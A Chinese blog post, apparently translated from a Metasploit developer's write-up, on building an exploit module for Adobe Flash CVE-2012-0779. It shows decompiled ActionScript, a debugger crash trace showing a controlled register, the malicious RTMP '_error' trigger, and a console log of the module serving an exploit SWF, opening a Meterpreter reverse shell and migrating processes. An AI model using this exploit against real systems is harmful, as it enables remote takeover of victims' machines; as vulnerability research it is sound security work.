metasploit利用linux漏洞,利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)

上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。

今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。

最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理 AMF (Action Message Format)发生的问题。

复制代码代码如下:

public function v42(_arg1:String):void{

// The NetConnection class creates a two-way connection

// between a client and a server. The client can be a Flash

// Player or AIR application. The server can be a web server,

//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service

this.v15 = new NetConnection();

var _local2 = "rtmp://";

var _local3 = "/TSGeneralSetting";

var _local4:String = ((_local2 + _arg1) + _local3);

// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way

// network endpoint for RTMFP peer-to-peer group communication

this.v15.connect(_local4);

// Calls a command or method on Flash Media Server or on an application server running Flash Remoting

this.v15.call("systemMemoryCall", this.v16, "argc");

}

e49301118aa17511195f58df6a8d533c.png

我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:

第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:

72f53bb28fd9c71b01ba02055738a4a9.png恶意RTMP服务器响应的“_error”信息如下,看起来如下:

Field Name

Type

Description Command Name

String

_error indicates an error

Transaction ID

Number

Transaction ID

Information

Object

Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.

运行了RTMP “_error” 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:

复制代码代码如下:

(348.540): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000

eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202

Flash32_11_2_202_228!DllUnregisterServer+0x300e84:

104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]

ds:0023:44444470=????????

0:000> u eip

Flash32_11_2_202_228!DllUnregisterServer+0x300e84:

104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]

104b1b30 53 push ebx

104b1b31 ffd0 call eax

因为处理畸形的 RTMP _error会产生类型混乱,所以在测试该漏洞时不需要等待systemMemoryCall()请求,相反,一个恶意的RTMP服务器可以返回一个制作好的恶意”_error” 响应信息,包含一个链接RTMP服务器的命令。这样我们更容易建立Metasploit的模块。

Metasploit的支持许多不同的协议,但是没有RTMP,所以我们建立了一个Rex::Socket::TcpServer的API,可以跟客户端产生交互的RTMP。提供三次握手协议和服务器恶意的_error响应信息。

如下:

复制代码代码如下:

msf > use exploit/windows/browser/adobe_flash_rtmp

msf exploit(adobe_flash_rtmp) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.157:4444

[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0

[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0

[*] Server started.

msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0

[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP

[*] 192.168.1.158 adobe_flash_rtmp - Sending html

[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf

[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF

[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP

[*] Sending stage (752128 bytes) to 192.168.1.158

[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200

[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (2284)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 3904

[+] Successfully migrated to process

该模块在新的Metasploit中已经支持。请下载或更新到最新版本使用即可。

via/Juan Vazquez 译/freebuf

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值